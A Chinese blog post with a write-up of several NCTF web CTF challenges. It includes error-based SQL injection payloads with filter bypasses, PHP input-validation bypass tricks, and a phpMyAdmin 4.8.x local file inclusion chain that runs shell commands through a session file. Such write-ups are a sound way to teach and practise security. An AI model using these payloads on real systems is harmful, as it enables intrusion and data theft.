NCTF Web的一些总结

全程抱紧老师傅大腿(Orz),这里主要写一下亟待学习的新知识和一些总结(会用红色标出)


先上一道自己没做出来的题

Easy_Audit

这里没做出来主要还是第一个if懵B了,request里竟然不让用字母,肯定是有什么操作可以绕过检查

然后康康别人的WP:

这里的$_REQUEST有一个特性,就是当GET和POST都存在同一个变量名的时候,只获取POST中的值,所以可以通过这个特性来绕过正则的匹配

然后就可以用post把get的值覆盖

第二个if用的是url编码(给字母url编码  Orz)

md5比较的话传两个数组就成

substr(数组)和md5(数组)都会返回NULL

后面还有个正则匹配nctfisfun,只要在开头随便加点东西就行

最后还要给flag传个文件名,内容还得是ccc_liubi

官方wp用的是data://

用法

  • data://text/plain;base64,

范例

打印 data:// 的内容

<?php
// 打印 "I love PHP"
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
?>
(php伪协议)

签到题

响应头里有flag

滴!晨跑打卡

首先发现会报错

然后进行报错注入

发现过滤了空格,可以用%a0绕过

过滤了#和–+ 然后就在最后随便构造一个||来闭合一下引号

payload:

爆库:id=’||(updatexml(1,concat(0x5e,(select distinct concat(0x7e, (select schema_name),0x7e) from information_schema.schemata limit 2,1),0x5e),1))||”=’keloniubi

url编码以后把%20换成%a0然后输到地址栏:

id=%27%7c%7c(updatexml(1%2cconcat(0x5e%2c(select%a0distinct%a0concat(0x7e%2c%a0(select%a0schema_name)%2c0x7e)%a0from%a0information_schema.schemata%a0limit%a02%2c1)%2c0x5e)%2c1))%7c%7c%27%27%3d%27keloniubi

得到库名

然后爆表名:f144444444g

id=%27%7C%7C%28updatexml%281%2Cconcat%280x5e%2C%28select%a0distinct%a0concat%280x7e%2C%a0%28select%a0table_name%29%2C0x7e%29%a0from%a0information_schema.tables%a0where%a0table_schema=%22flaaaaaaag%22%a0limit%a00,1%29%2C0x5e%29%2C1%29%29%7C%7C%27%27%3D%27kelotql

爆列名:th1s_1s_flag

id=%27%7C%7C%28updatexml%281%2Cconcat%280x5e%2C%28select%a0distinct%a0concat%280x7e%2C%a0%28select%a0column_name%29%2C0x7e%29%a0from%a0information_schema.columns%a0where%a0table_name=%22f144444444g%22%a0limit%a00,1%29%2C0x5e%29%2C1%29%29%7C%7C%27%27%3D%27keloddw

爆flag:

id=%27%7C%7C%28updatexml%281%2Cconcat%280x5e%2C%28select%a0distinct%a0concat%280x7e%2C%a0%28select%a0th1s_1s_flag%29%2C0x7e%29%a0from%a0flaaaaaaag.f144444444g%a0limit%a00,1%29%2C0x5e%29%2C1%29%29%7C%7C%27%27%3D%27baojinkelodatui

得到flag

(其实报错注入的的原理一直不是很懂,updatexml里应该是xml的格式不对)

Go Lakers

点了以后出来个百度

用Burpsuite截个包吧

然后要post

viewsource=true(wtf)

能得到源码

(在浏览器里打开康康)

注意这里下面的那个if完全没啥用(一开始没仔细看,搞了好久下面那个if Orz

然后根据de_code(),写个解密函数(这里要猜一下文件名,猜flag.php,存在,那么就让最后的de_code($_GET['file_'])=flag.php)

result='flag.php'
value=''
for i in range(0,len(result)):
    value=value+chr(ord(result[i])+i*2)
print(value)

 

最后运行得到fnem6zt~然后base64编码得到Zm5lbTZ6dH4=

传参?file_=Zm5lbTZ6dH4=得到flag

基本操作

首先发现弱密码登陆 guest/guest

执行查询看cookie,session id就是cookie里的phpmyadmin项

dl0ip6g51hrnqnjpvndthr9mh534lihd

然后扫站发现info.php,发现session存在/tmp里

先执行命令

然后去/tmp/sess_6r7tblnel0c0mprnmkrqdedneuneo6gs传参

payload:http://ctfgame.acdxvfsvd.net:20006/index.php?target=server_sql.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_ijp6lf5gl07ukf97p45v82phev303i2n&keloniub=echo%20shell_exec(%22ls%22);

之后找来找去找来找去找来找去找发现cat nctffffffffffffffffffffffffff就行

(phpMyAdmin 4.8.x(最新版) 本地文件包含漏洞利用https://cloud.tencent.com/developer/article/1149949)

全球最大交友网站

https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html下载脚本

出来一个readme.txt里面是假的flag

Git show

git的一些命令和结构

https://git-scm.com/book/zh/v1/%E8%B5%B7%E6%AD%A5    gitbook

https://backlog.com/git-tutorial/cn/   猴子都能懂的git入门

https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000 廖雪峰git教程


 

就先写这些,ctf太令人自闭了

发表评论

电子邮件地址不会被公开。 必填项已用*标注